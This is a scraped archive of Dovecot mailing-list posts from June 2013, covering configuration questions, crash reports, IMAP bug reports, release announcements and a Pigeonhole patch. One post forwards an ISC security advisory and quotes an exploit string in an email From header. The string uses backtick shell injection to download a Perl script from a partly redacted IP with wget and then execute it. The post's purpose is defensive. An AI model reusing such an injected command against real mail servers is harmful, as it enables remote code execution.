the CentOS 6.x repositories).

Hello, Dovecot keeps crashing at login time. Things were fine on 2.2.2 Fatal: master: service(imap): child 5014 killed with signal 11 Here is the trace: Core was generated by `imap'.

[Dovecot] dovecot creating unknown users
by Yann Shukor 19 Jun '13

19 Jun '13

Hi We recently installed a dovecot postfix roundcube debian wheezy serverIt is now in production and we are feeling our way as we progressivelyadd new users to this local server. I noticed that dovecot is creating user directory structures for unknown users withinour domain in /var/vmail, even though we have setup a static users.conf db file. I tried omiting the "allow_all_users=yes" parameter but that doesn't seem to be linked to this issue Sorry if this has been asked a number of times already Is there an easy way to search the archives of this mailinglist ? Thanks yann # 2.2.2 (45399357008a): /etc/dovecot/dovecot.conf # OS: Linux 3.2.0-4-686-pae i686 Debian 7.0 ext4 auth_debug = yes auth_mechanisms = plain login auth_socket_path = /var/run/dovecot/auth-userdb auth_verbose = yes disable_plaintext_auth = no first_valid_gid = 5000 first_valid_uid = 5000 hostname = holimail.holinice.com last_valid_gid = 5000 last_valid_uid = 5000 listen = * mail_debug = yes mail_gid = vmail mail_location = maildir:/var/vmail/%d/%n/Maildir mail_privileged_group = mail mail_uid = vmail managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace inbox { inbox = yes location = maildir:/var/vmail/%d/%n/Maildir mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = subscriptions = yes } passdb { args = scheme=CRAM-MD5 /etc/dovecot/users.conf driver = passwd-file } passdb { driver = pam } plugin { sieve = ~/.dovecot.sieve sieve_dir = ~/sieve } postmaster_address = azurtem(a)holinice.com protocols = " imap sieve pop3" service auth-worker { user = $default_internal_user } service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } unix_listener auth-userdb { group = vmail mode = 0600 user = vmail } } service imap-login { group = dovecot inet_listener imap { port = 143 } inet_listener imaps { port = 993 ssl = yes } } service imap { process_limit = 1024 } service pop3-login { inet_listener pop3 { port = 110 } inet_listener pop3s { port = 995 ssl = yes } } service pop3 { process_limit = 1024 } ssl_cert = </etc/ssl/certs/dovecot.pem ssl_key = </etc/ssl/private/dovecot.pem userdb { args = uid=5000 gid=5000 home=/var/vmail/%d/%n allow_all_users=yes driver = static } userdb { driver = passwd } protocol lda { mail_plugins = " sieve" }

[Dovecot] v2.2.3 released
by Timo Sirainen 18 Jun '13

18 Jun '13

http://dovecot.org/releases/2.2/dovecot-2.2.3.tar.gz http://dovecot.org/releases/2.2/dovecot-2.2.3.tar.gz.sig This is a pretty important upgrade for v2.2 users, because of the IMAP ENVELOPE reply fix. * LDA/LMTP: If new mail delivery first fails with "temporary failure", tempfail the whole delivery instead of falling back to delivering the mail to INBOX. (Requires new Pigeonhole as well.) * doc/solr-schema.xml was updated to Solr v4.x format. Also the default analyzers were changed, hopefully for the better. Note that the schema can't be changed for existing Solr indexes without rebuilding everything. * Solr plugin does only soft commits from now on. You'll need a cronjob to send a hard commit command to it every few minutes. + Added %N modifier for variables as %H-like "new hash" + sdbox, mdbox: Support POP3 message order field (for migrations) + Added mailbox { driver } to specify a different mail storage format for the mailbox than generally used within the namespace. + Added initial lib-sasl library for client side SASL support. Currently supports only PLAIN, LOGIN and plugins. Used currently by IMAP and POP3 proxying when authenticating to the remote server. - IMAP: If subject contained only whitespace, Dovecot returned an ENVELOPE reply with a huge literal value, effectively causing the IMAP client to wait for more data forever. - IMAP: Various URLAUTH fixes. - imapc: Various bugfixes and improvements - pop3c: Various fixes to make it work in dsync (without imapc) - dsync: Fixes to syncing subscriptions. Fixes to syncing mailbox renames.

[Dovecot] Mailbox conversion/importing
by Alan Brown 18 Jun '13

18 Jun '13

I've been tasked with importing a large bunch of mbox folders (about 500) into an existing mdbox setup in Dovecot 2.1 As far as I can see, dsync "mirror" or "backup" are both inappropriate ways of doing this. Does anyone have any suggestions about how I could proceed? Thanks in advance

[Dovecot] Problem redirecting email using pigeonhole 0.4.0 (with patch)
by Andriy Syrovenko 18 Jun '13

18 Jun '13

Hello, Starting from the version 0.4.0 Pigeonhole adds "X-Sieve" and "X-Sieve-Redirected-From" headers ending them with CR+LF, and then copies the original message (including original headers) ending the lines with LF-only. This causes troubles at least if using Exim (I have not checked with other MTAs)- original message gets dropped, and only the new pigeonhole-generated headers are sent out. The attached file fixed the problem for me. --- dovecot-2.2-pigeonhole-0.4.0.orig/src/lib-sieve/cmd-redirect.c 2013-04-07 01:57:26.000000000 +0300 +++ dovecot-2.2-pigeonhole-0.4.0/src/lib-sieve/cmd-redirect.c 2013-06-05 03:22:53.000000000 +0300 @@ -344,9 +344,9 @@ string_t *hdr = t_str_new(256); /* Prepend sieve headers (should not affect signatures) */ - rfc2822_header_write(hdr, "X-Sieve", SIEVE_IMPLEMENTATION); + rfc2822_header_append(hdr, "X-Sieve", SIEVE_IMPLEMENTATION, FALSE, NULL); if ( recipient != NULL ) - rfc2822_header_write(hdr, "X-Sieve-Redirected-From", recipient); + rfc2822_header_append(hdr, "X-Sieve-Redirected-From", recipient, FALSE, NULL); o_stream_send(output, str_data(hdr), str_len(hdr)); } T_END; Best regards, Andrey.

[Dovecot] Dovecot 2.2.2: doveadm user doesn't honor -x option
by Axel Luttgens 17 Jun '13

17 Jun '13

Hello, 1. Considering a user_query similar to this one: SELECT ... FROM ... WHERE CASE '%s' WHEN 'lmtp' THEN ... and issuing following command: doveadm user -x service=lmtp someuser(a)example.com the log shows: SELECT ... FROM ... WHERE CASE 'doveadm' WHEN 'lmtp' THEN ... and the query of course fails. The same config with Dovecot 2.1.16 yields expected results. 2. This is more a question. Issuing above command first writes this to the log: prefetch(someuser(a)example.com): passdb didn't return userdb entries, trying the next userdb Is there really an attempt to make use of the prefetch database? If yes, under which circumstances could it succeed? TIA, Axel

[Dovecot] Trash plugin
by Jason Pfingstmann 17 Jun '13

17 Jun '13

Hello all! I tried to post this earlier today, but it's stuck in a moderator queue for being too long, so here's a shorter version (mod, please delete the pending message from me, if you read this). I'm new to dovecot and just finished setting everything up. It's a postfix + dovecot + myql + spamassassin + postgrey virtual mail server. The issue I'm having (1 of 2) is that the Trash plugin isn't working, over-quota mail is being rejected despite a large piece that would bring it under quota with room to spare for the piece being delivered that is in the Trash folder. My configs (postconf -n, doveconf -n, trash.conf): http://pastebin.com/vFJ0rfZ6 It may be unrelated, but it seems postgrey isn't running either, but maybe those are partially tied together? Thanks for all your help! Jason Pfingstmann

[Dovecot] Trash plugin
by Jason Pfingstmann 16 Jun '13

16 Jun '13

Hello! This is my first dovecot install, which I put together by mixing and matching pieces of various online howtos (fortunately, Dovecot doesn't seem to be overly complex - a big plus). I've got it mostly working, but the trash plugin doesn't seem to be working right. Below are configs and some logs. Any thoughts? Also, any suggestions regarding my configuration? I can post other items for troubleshooting if they'd be helpful. -Jason Pfingstmann Here's my doveconf -n: # 2.0.9: /etc/dovecot/dovecot.conf # OS: Linux 2.6.32-358.6.2.el6.x86_64 x86_64 CentOS

[Dovecot] Transparent IMAP proxy
by Yonatan Broza 16 Jun '13

16 Jun '13

Hi, I'm considering patching Dovecot to work as a transparent (and virus scanning) IMAP proxy. What is the appropriate feature to extend? (I've considered the following: IMAPC and reverse proxying, with IMAPC looking more promising since it actually parses IMAP communication). Can anyone who is familiar with the IMAPC code recommend what are the most appropriate locations in the code to make the required changes? (I've considered hooking the storage virtual functions and making the settings local rather than global - but would appreciate more specific ideas). Thanks.

[Dovecot] Multiple user sharing a single mailbox
by Jonathon Price 16 Jun '13

16 Jun '13

I'm designing a system where some but not all groups of users want to share a single mailbox, i.e the user will not have there own inbox. I think this is possible by setting up a user database that returns the same mail location and possible the same home directory. This sharing would only occur in a single domain. Example User Database UserID | home | mail all(a)site1.example.com | /mail/home/site1.example.com/all | /mail/mailstorage/site1.example.com/all user1(a)site1.example.com | /mail/home/site1.example.com/user1| /mail/mailstorage/ site1.example.com/all user2(a)site1.example.com | /mail/home/site1.example.com/user2| /mail/mailstorage/ site1.example.com/all user1(a)site2.example.com | /mail/home/site2.example.com/user1| /mail/mailstorage/ site2.example.com/user1 user2(a)site2.example.com | /mail/home/site2.example.com/user2| /mail/mailstorage/ site2.example.com/user2 In this example all of site1.example.com users share a single mailbox, and site2.example.com users each have there own mailbox. Should the home directory also be shared, I read the comment that they should never be shared but wasn't sure if that still applied when the mailbox is the same path. For groups that are sharing a mailbox there would likely be a relatively low number of users concurrently logged in, say less than 10. For clustering we are currently limited to NFS mail storage. I was planning on using director setup so that the hashing/sharding is performed on the domain only, so all users for a domain will end up on a single node. At this stage clustering is mainly for high availability not performances. Lastly I'm concerned about possible issues with locking on the mailbox files and indexes. Will one of the mail formats reduces this risk, we can use any format as all mail will be written by Dovecot. Would giving each user there own index location help? and I assume this would mean that each user would see there own flags like read status? Does this setup sound ok, are there aspects that should change? thanks, Jon

[Dovecot] [Dovcot 2.2.2] Q: Prequisits for compiling and plugins
by Christoph Hintermüller 16 Jun '13

16 Jun '13

Hi Where can i find the list of prerequisites for compiling dovocot 2.2.2 form the sources, is there a dedicated link or what terms i should best use to search the archives of this mailing list, the documentation or the web? Where do I find information (links or search terms) whether plugins available for 1.x 2.1.x series, especially the metadata plugin, are still needed for 2.2.2 or may even be harmful for 2.2.2 as built in. Documentation on Dovecot webpage is rather sparse and not really conclusive concerning metadata plugin within 2.x series. On my Ubuntu 12.X systems i still find it for 2.1.x but I have difficulties to understand whether there exist a version for 2.2.X series, if this is equal to the one for 2.1.X or whether it is not needed any more for 2.2.X series. Further what libraries would be required. Greetings Christoph

[Dovecot] MULTIAPPEND + literal8 issue
by Michael M Slusarz 16 Jun '13

16 Jun '13

Background: importing a mbox file containing ~700 messages (20 MB). Our program splits MULTIAPPENDS into approx. 5MB chunks. We don't use literal+ in order to immediately catch errors. I can reproducibly produce the following error (2.2.2) when doing a MULTIAPPEND where every append is using literal8: [...340 messages appended in 7 previous APPEND commands...] C: 10 APPEND Test "16-Dec-2011 17:19:46 -0700" ~{3128} [...~30 APPENDed messages...] C: "18-Jan-2012 12:38:21 -0700" ~{2893} S: + OK [...2893 octets of data...] C: "18-Jan-2012 22:09:41 -0700" ~{6492} S: 10 BAD Error in IMAP command APPEND: Expected '{' S: 492} BAD Error in IMAP command : Unknown command. This error occurs about 340 messages in. If I switch to using regular literals, this error does not occur. I can verify that neither the 12:38:21 message nor the 22:09:41 message alone is broken (I can put just these two in a file and import and it is successful). I can provide the mbox file privately, if needed. michael

[Dovecot] rawlog without setting home in userdb
by Claus 16 Jun '13

16 Jun '13

Hi all, in my settup i decided to set mail_home in 10-mail.conf, and let dovecot do the hashing to a 2-level directory structure. mail_location = mdbox:~/mdbox:ALT=/altstorage/%h/mdbox mail_home = /vmail/%1Mu/%2.1Mu/%u In my userdb ist homedirectory not set and everythink works as expected, except when i use rawlog i get only logs in ~/dovecot.rawlog if home is set in userdb. In wiki http://wiki2.dovecot.org/Debugging/Rawlog it reads: If you don't have the home directory and you can't or don't want to modify userdb configuration, you can add: mail_home = /home/%u # or temporarily even e.g. mail_home = /tmp/temp-home Can you tell me, if my problem is the hashing-configuration or anything else?

[Dovecot] dovecot creating unknown users
by Yann Shukor 16 Jun '13

16 Jun '13

Hi We recently installed a dovecot postfix roundcube debian wheezy serverIt is now in production and we are feeling our way as we progressivelyadd new users to this local server. I noticed that dovecot is creating user directory structures for unknown users withinour domain in /var/vmail, even though we have setup a static users.conf db file. I tried omiting the "allow_all_users=yes" parameter but that doesn't seem to be linked to this issue Sorry if this has been asked a number of times already Is there an easy way to search the archives of this mailinglist ?

[Dovecot] Turn off IMAPS?

Hi I've upgraded to 2.1.7 and finally decided to turn off imaps and pop3s because these days everyone uses tls over 143 anyway. But it's on and I can't figure out why.

[Dovecot] Auto-responder to handle unencrypted (and/or unsigned) email messages whose origin is not localhost
by Ben Johnson 14 Jun '13

14 Jun '13

Hi, everyone, I'm surprised how little exists on the Internet regarding this particular subject. Given the recent headlines, that is about to change, I'm sure. I have a need to send an automated response to all senders who attempt to send unencrypted and/or unsigned email to a specific mailbox on my system. (Messages originating from localhost should be exempt.) I would like for the auto-reply to include a customized message with the appropriate public PGP key contained therein. Has anyone accomplished this? If not, some basic theory as to how one might go about achieving this would be greatly appreciated. Perhaps this is a job for Dovecot's "sieve_before" directive. Would this simply be a matter of checking the message body for the expected patterns, e.g., starts with "----- BEGIN PGP MESSAGE -----", etc., etc. and sending an automated reply with the public key if the expected strings are not present? Any additional thoughts would be very helpful! Thank you in advance, -Ben

[Dovecot] Pam authentication failure message but it works

I am running Centos 6.4 64bit. Dovecot 2.0.9 I am getting the following messages in /var/log/secure, which looks like the pam authentication is not working but the users are allowed to login and the system works great.

[Dovecot] Autocreation the home folder
by Joan 14 Jun '13

14 Jun '13

Sorry if this has been already asked, but I haven't been able to find a solution, I am trying to migrate a dovecot 1.2 config to 2.1, the 'dovecot -n > dovecot.conf' migrated all the setup without issues, and the mail is working as expected. The only issue I've had is with the change with the mail_location, mail_home, that in the 2.1 versions can't be on the same path. After reading in the wiki the various config options ( http://wiki2.dovecot.org/VirtualUsers/Home) I opted to use the 3rd: Home directory under mail, for example: Maildir: home=/var/vmail/domain/user/home/ mail=/var/vmail/domain/user/ mbox: There's really no good and safe way to do it. So I changed from: mail_location = maildir:/home/vmail/%d/%n mail_home = /var/vmail/%d/%n To: mail_location = maildir:/home/vmail/%d/%n mail_home = /var/vmail/%d/%n/home The problem is that those home directories are not created (the mailboxes already existed) automatically, and I am getting these errors: ========================================================== May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Home dir not found: /var/vmail/example.com/username/home May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota root: name=User quota backend=maildir args= May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota rule: root=User quota mailbox=* bytes=20480000000 messages=0 May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota rule: root=User quota mailbox=Trash ignored May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota warning: bytes=15360000000 (75%) messages=0 reverse=no command=/etc/dovecot/quota-warning.sh 75 May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota warning: bytes=17408000000 (85%) messages=0 reverse=no command=/etc/dovecot/quota-warning.sh 85 May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: maildir++: root=/home/vmail/example.com/username, index=, control=, inbox=/home/vmail/example.com/username, alt= May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota root: name=User quota backend=maildir args= May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota rule: root=User quota mailbox=* bytes=1073741824 messages=0 May 10 17:08:59 server dovecot: lda(username(a)example.com): Debug: Quota warning: bytes=805306368 (75%) messages=0 reverse=no command=/etc/dovecot/quota-warning.sh 75 ======================================================== Am I supposed to create the folders via an external script?

[Dovecot] dovecot segfaults after upgrade
by Thomas Blomenkamp 13 Jun '13

13 Jun '13

Using dovecot on debian oldstable (squeeze) with daily builded repository, after an upgrade this morning, dovecot always shows the following error: 2013 Jun 10 11:07:22 mailstore imap(tblomenk): Fatal: master: service(imap): child 3016 killed with signal 11 (core dumps disabled) Jun 10 11:07:22 mailstore kernel: [ 1589.400741] imap[3016]: segfault at 7fffd9048ff8 ip 00007f91417e2c3b sp 00007fffd9049000 error 6 in libdovecot.so.0.0.0[7f9141796000+bc000] Please notice: I can reproduce the error by trying to access my mailbox with alpine or mutt, while alpine only can access my inbox. If I try to access my other folders, the error happens. Mutt always closes the connection after trying to login. It is a little bit strange because with a newer client like roundcube I can access all my folders successfully. In all kernel error messages it seems that error 6 in libdovecot.so.0.0.0[7f9141796000+bc000] is always the same.

This repeated until I killed dovecot (12 hours later), by then 54GB of logs had accumulated. Besides leaving me impressed with the logserver :), I was wondering if this is a known problem. I don't know what triggered this at 23:02 (shown above is the first set of problem logentries). Can't really have been an upgrade, since I backported the raring dovecot Ubuntu package for my precise server, no automated upgrades there. I did go look for the /etc/mysql/conf.d directory mentioned, it wasn't there, but there was a /etc/mysql/my.cnf trying to !includedir it. Since there is no mysql on the server besides libmysqlclient I removed the directory and haven't seen the problem return yet. Sounds like the reason for happening, however, the memory error after that probably warrants research? If it is in libmysqlclient, that's another non-default snag because that's the lib I get from Percona, not the Ubuntu default one. Shouldn't dovecot recognize that the auth worker is crashing? One more thing, this is (one line from many) from audit.log (I have auditd logging audit records) type=ANOM_ABEND msg=audit(1370682566.377:3499876): auid=4294967295 uid=108 gid=115 ses=4294967295 pid=23187 comm="auth" reason="memory violation" sig=6 108 is the dovecot user, so it probably is related. I realise I'm way off defaults here but I wanted to report anyway. (dovecot -n attached) thanks for any insight, Maarten.

[Dovecot] CATENATE/literal8 issue
by Michael M Slusarz 13 Jun '13

13 Jun '13

Using 2.2.2, I see this: C: 6 APPEND "INBOX" (\seen) "16-May-2013 22:05:14 -0600" CATENATE (URL "/INBOX;UIDVALIDITY=1255685337/;UID=48812/;SECTION=HEADER" TEXT ~{40} S: 6 NO [UNKNOWN-CTE] Binary input allowed only when the first part is binary. Why is there this limitation? It seems to me that CATENATE is confusing the content-type encoding of the data/part itself with the encoding of the IMAP literal. A literal 8 is nothing more than a series of OCTET's that *may* contain nulls, but not necessarily. i.e., in the above example the 40 octets of data are US-ASCII text, which is perfectly acceptable to send as a literal8. (Client rationale: If BINARY exists on the server, we don't bother to scan IMAP literal's for null data -- we just send them as literal8's. It's an optimization that I would hate to get rid of.) michael

[Dovecot] Replication and LAYOUT=fs
by Simon Fraser 13 Jun '13

13 Jun '13

Hello folks, I have a problem with replication and mail_location with LAYOUT=fs set. If I set "mail_location = maildir:~/mail" (leaving out the :LAYOUT=fs), create and populate some mailboxes and subfolders, they all get replicated. If I start with a clean mail spool and LAYOUT=fs, I can create some new mailboxes and subfolders but only the inbox is replicated. Subfolders are ignored. The users are all in LDAP, and virtual, hence the generic mail_home format and mail_location being set. The userdb lookup has been told to return no attributes ("user_attrs = "), but I have also tried it with requesting 'home' and specifying a default of /mail/spool/%u in the userdb config. The service is perfectly functional as far as a mail client is concerned: it can access all the folders and messages it expects on the server that had them added. It's only the replication using LAYOUT=fs that seems to be troublesome. Here is `doveconf -n` for the first of the pair of servers (dcot1a and dcot1b). The configuration on the other is identical except for the hostname differences.

[Dovecot] post-login script and original remote ip in proxy mode
by Ibrahim Harrani 13 Jun '13

13 Jun '13

Hi, I am running dovecot on 3 qmail-ldap server backend. dovecot configured to use auth_pop3 wrapper for authentication. Users logins to the qmail-ldap pop3&imap pools randomly. If a user is mailhost is not the connected server, dovecot proxies the connection to the user mailhost. In this case, I can not get the original client IP address via post-logins script on user host. I see only the first connected server IP as $IP environment. Any idea to get original client IP in this setup with postlogin scripts? Thanks

[Dovecot] THREAD REFERENCES bug

I found it on an ancient dovecot version, so it might be already fixed.

The new message has uid=16. C: A0003 UID THREAD REFERENCES US-ASCII ALL S: * THREAD (12)((11)(16))(14) I expected 16 (or more likely 11 and 16) to be at the end of the result, after 14, i.e. (12)(14)((11)(16)). The problem for a user is when he has more messages in a folder. When user receives a new message sometimes (on subject duplicate) he will not see it because it will be somewhere in the middle of the result, but should be on top. -- Aleksander 'A.L.E.C' Machniak LAN Management System Developer [http://lms.org.pl] Roundcube Webmail Developer [http://roundcube.net] --------------------------------------------------- PGP: 19359DC1 @@ GG: 2275252 @@ WWW: http://alec.pl

[Dovecot] Dovecot 2 + IMAP

This is my first experience of the mail server. Set up a mail server from Postfix + Dovecot with the MySQL authorization. When you create a new user dovecot makes strange folder structure: the 'inbox' contains 'juncus', 'tash', 'sent' etc. ie 'sent' and other folders are subdir to the 'inbox'. How to make the imap folders 'sent', 'trash' and others were not affiliated? I have IMAP answer: . list "" "*" * LIST (\HasChildren) "." "INBOX" . OK List completed. No trash, no drafts, no other folder. All this folder included in INBOX (((( But I want (my clients wants): * LIST (\HasNoChildren) "." "Drafts" * LIST (\HasNoChildren) "."

[Dovecot] Permission denied / missing +r perm

I have postfix configured to deliver mail to dovecot over lmtp into a mailbox that then is accessed over imap. The imap server is running as the user "mail". Whenever I run "postfix flush" I get in mail.log: > Jun 12 05:37:45 li212-205 dovecot: lmtp(21288): Connect from local > Jun 12 05:37:45 li212-205 spamd[18173]: prefork: child states: II > Jun 12 05:37:45 li212-205 dovecot: auth-worker(21289): mysql(127.0.0.1): Connected to database mailserver > Jun 12 05:37:45 li212-205 dovecot: lmtp(21288, drew@REDACTED): zXAqF2lBuFEoUwAA5SnFYQ: msgid=<064C5BC7-357B-4366-9A80-5001DBA21F62@REDACTED>: saved mail to INBOX > Jun 12 05:37:45 li212-205 postfix/lmtp[21287]: 57BDA1CC932: to=<drew@REDACTED>, relay=li212-205.members.linode.com[private/dovecot-lmtp], delay=0.06, delays=0.01/0.01/0.01/0.03, dsn=2.0.0, status=sent (250 2.0.0 <drew@REDACTED> zXAqF2lBuFEoUwAA5SnFYQ Saved) > Jun 12 05:37:45 li212-205 dovecot: lmtp(21288): Disconnect from local: Client quit (in reset) > Jun 12 05:37:45 li212-205 postfix/qmgr[21244]: 57BDA1CC932: removed > Jun 12 05:37:45 li212-205 dovecot: imap(drew@REDACTED): Error: open(/decrypted-mail/awesomebox.sealedabstract.com/drew/cur/1371029865.M411… failed: Permission denied (euid=8(mail) egid=8(mail) missing +r perm: /decrypted-mail/awesomebox.sealedabstract.com/drew/cur/1371029865.M411903P21288.li212-205,S=2626,W=2673:2,, we're not in group 0(root)) > Jun 12 05:37:45 li212-205 dovecot: imap(drew@REDACTED): Disconnected: Internal error occurred.

[Dovecot] v2.2.0 released
by Timo Sirainen 12 Jun '13

12 Jun '13

http://dovecot.org/releases/2.2/dovecot-2.2.0.tar.gz http://dovecot.org/releases/2.2/dovecot-2.2.0.tar.gz.sig Everything now seems to be stable and working in v2.2, so I can finally move onto developing great new interesting features for v2.3. :) My company has also launched a web shop where you can buy various products. One of them is cheap access to Dovecot enterprise edition repositories, which are basically same as regular Dovecot releases, except they are kept patched with the latest important bugfixes. We currently have releases for RHEL/CentOS 5 and 6, Debian Squeeze and Ubuntu 12.04 LTS. By buying Dovecot-EE you'll also get a 30 day demo license for object storages, if you want to try it out. http://shop.dovecot.fi/ * When creating home directories, the permissions are copied from the parent directory if it has setgid-bit set. For full details, see http://wiki2.dovecot.org/SharedMailboxes/Permissions * "doveadm auth" command was renamed to "doveadm auth test" * IMAP: ID command now advertises server name as Dovecot by default. It was already trivial to guess this from command replies. * dovecot.index.cache files can be safely accessed only by v2.1.11+. Older versions may think they're corrupted and delete them. * LDA/LMTP: If saving a mail brings user from under quota to over quota, allow it based on quota_grace setting (default: 10% above quota limit). * pop3_lock_session=yes now uses a POP3-only dovecot-pop3-session.lock file instead of actually locking the mailbox (and causing IMAP/LDA/LMTP to wait for the POP3 session to close). * mail_shared_explicit_inbox setting's default switched to "no". * ssl_client_ca_dir setting replaced imapc_ssl_ca_dir and pop3c_ssl_ca_dir settings. + Implemented IMAP MOVE and BINARY extensions + Implemented IMAP CATENATE, URLAUTH and URLAUTH=BINARY extensions (by Stephan Bosch). + Implemented IMAP NOTIFY extension. Requires mailbox_list_index=yes to be enabled. + Redesigned and rewritten dsync. The new design makes the syncing faster, more reliable and more featureful. The new dsync protocol isn't backwards compatible with old dsync versions (but is designed to be forwards compatible with future versions). + All mailbox formats now support per-user message flags for shared mailboxes by using a private index. It can be enabled by adding :INDEXPVT=<path> to mail location. This should be used instead of :INDEX also for Maildir/mbox to improve performance. + Improved mailbox list indexes. They should be usable now, although still disabled by default. + Added LAYOUT=index. The mailbox directories are created using their GUIDs in the filesystem, while the actual GUID <-> name mapping exists only in the index. + LMTP proxy: Implemented XCLIENT extension for passing remote IP address through proxy.

[Dovecot] Zlib plugin: changing compression save level
by Urban Loesch 11 Jun '13

11 Jun '13

Hi, I have running dovecot 2.1.15 with zlib plugin enabled and "zlib_save_level = 6" since about 2 years now without any problems. What happens if I now change the zlib_save_level to 9? Should that work without any problems, or become the current saved "*.m" files incompatible or unreadable? Thanks Urban

[Dovecot] Wait for interface to become available instead of dying?
by Sebastian Arcus 11 Jun '13

11 Jun '13

At the moment, if one of the interfaces specified with "listen=" in dovecot.conf is not up when Dovecot is started, then Dovecot just refuses to start. Is there an option to make Dovecot start anyway, and just use the interface when it becomes available? It is inconvenient to have Dovecot refuse to start during boot because some interface is temporarily not available. Then again, maybe there is some strong security reasoning behind the way Dovecot behaves at the moment?

[Dovecot] IMAP
by Jason Lock 10 Jun '13

10 Jun '13

We are using version 1.2.17 and recently are experiencing major issues with performance, which we believe have isolated to IMAP sessions. We have 3 servers running Dovecot, with a central store shared via NFS. Things have been running quite well for months now, with the latest issues appearing within the last week. As an experiment have 2 of the server running and only accepting POP3 connecitons no IMAP, and the 3rd server only accepting IMAP connections and no POP3. When the issue occurred today, stopping dovecot on the IMAP only server allowed POP3 to resume to normal operations 5-10 minutes later. Leaving IMAP disabled for a period of time (about 30 mins) and then re-enabling seemed to worked the first time. Subsequent times, the issue appeared shortly after re-enabling IMAP. Our webmail solution connects via IMAP, so when disabled this also impact clients using the webmail. Running only POP3 while IMAP is disabled we do not appear to have any issues. At this point, looking for any advice. We believe the number of devices utilizing IMAP has increased significantly for us, and whether or not a specific device is the cause we have not been able to determine. Anyone else experiencing a similar problem that appears related to IMAP?

[Dovecot] from ISC: Exim/Dovecot exploit making the rounds
by Luigi Rosa 09 Jun '13

09 Jun '13

One of our readers wrote in to let us know that he had received an attempted Exim/Dovecot exploit attempt against his email server. The exploit partially looked like this: From: x`wget${IFS}-O${IFS}/tmp/crew.pl${IFS}50.xx.xx.xx/dc.txt``perl${IFS}/tmp/crew.pl`(a)blaat.com (Obviously edited for your safety, and I didn't post the whole thing.) This is an exploit against Dovecot that is using the feature "use_shell" against itself. This feature, unfortunately, is found in the example wiki on Dovecot's website, and also in their example configuration. We'd caution anyone that is using Dovecot to take a look at their configuration and make use they aren't using the "use_shell" parameter. Or if you are, make darn sure you know what you are doing, and how to defend yourself. https://isc.sans.edu/diary/EximDovecot+exploit+making+the+rounds/15962 Ciao, luigi -- / +--[Luigi Rosa]-- \ The generation of random numbers is too important to be left to chance.

[Dovecot] Speed up mail retrieval by keyword
by Manfred Usselmann 09 Jun '13

09 Jun '13

Hi, I' m using a roundcube plugin for adding attributes to mails, which are stored as IMAP keywords (https://github.com/umount/message_label [1]). This plugin allows me to retrieve mails with a certain attribute across all my mail folders. Selecting mails this way is very convenient, but also very slow, probably because I've got a lot of mails and folders. Is there a way to speed this up somehow by changing any configuration options? Versions in use are Roundcube 0.9.0 and Dovecot 2.1.10 (Maildir). Thanks Manfred Links: ------ [1] https://github.com/umount/message_label

09 Jun '13

Hello, on a system with dovecot 2.2 I've got a mailbox containing multiple mails from a person called Krüger, but From: header encoded differently. Some are encoded in UTF-8 normalization form decomposed (as used by Mac OSX), that is u and umlaut accent as sperate combined codepoints instead of one ü: From: =?utf-8?Q?replaced_Kru=CC=88ger?= <krueger(a)some.domain> Searching within roundcube webmail for "krüger" as sender missis this mails. Roundcube sends (dovecot rawlog): A0003 UID THREAD REFS UTF-8 ALL HEADER FROM {7+}krüger Is this supposed to work? Haven't done any more debugging (other search variants) or read RFCs. As a user I would expect Unicode equivalence rules be applied (see http://en.wikipedia.org/wiki/Unicode_equivalence) Regards, Lutz

by Joe Wong 07 Jun '13

07 Jun '13

Hello, I am following the wiki page to setup 2 IMAP servers Director. in each server, I have created 2 sets of dovecot config file where the first set is for imap proxy with director the second set is for the imap backend after this, I attempt to login IMAP through the imap-proxy on any machine with several users. from the log, all users always go to the same IMAP backend in Server 2, I don't see any user go to the IMAP backend in Server 1 at all. What could be the problem I have ? - Joe

[Dovecot] Dovecot IMAP

This is my first experience of the mail server. Set up a mail server from Postfix + Dovecot with the MySQL authorization. When you create a new user dovecot makes strange folder structure: the 'inbox' contains 'juncus', 'tash', 'sent' etc. ie 'sent' and other folders are subdir to the 'inbox'. My result: 04 LIST "" "*" * LIST (\HasChildren) "." "INBOX" * LIST (\HasNoChildren) "." "INBOX.Trash" I want: 04 LIST "" "*" * LIST (\HasNoChildren) "." "INBOX" * LIST (\HasNoChildren) "." "Trash" # dovecot --version 2.1.7 # dovecot -n # 2.1.7: /etc/dovecot/dovecot.conf # OS: Linux 3.2.0-4-amd64 x86_64 Debian 7.0 ext4 auth_debug = yes auth_debug_passwords = yes auth_verbose = yes auth_verbose_passwords = plain base_dir = /run/dovecot/ debug_log_path = /var/vmail/dovecot.log disable_plaintext_auth = no info_log_path = /var/vmail/dovecot.log lda_mailbox_autocreate = yes lda_mailbox_autosubscribe = yes listen = MY_IP log_path = /var/vmail/dovecot.log log_timestamp = "%Y-%m-%d %H:%M:%S " login_greeting = MAIL_DOMAIN_NAME IMAP server ready. mail_debug = yes mail_location = maildir:/var/vmail/%d/%n/Maildir mail_plugins = " quota" namespace inbox { hidden = no inbox = yes list = yes location = mailbox Drafts { special_use = \Drafts } mailbox Trash { special_use = \Trash } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } prefix = INBOX. separator = . type = private } passdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } plugin { quota = maildir:User quota quota_rule = *:storage=1G quota_rule2 = Trash:storage=+10%% quota_rule3 = Junk:storage=+10%% quota_rule4 = Drafts:storage=+10%% quota_warning = storage=95%% quota-warning 95 %u } postmaster_address = admin@ MAIL_DOMAIN_NAME protocols = " imap pop3" service auth-worker { executable = auth -w unix_listener auth-worker { group = mode = 0600 } } service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0660 user = postfix } unix_listener auth-master { group = vmail mode = 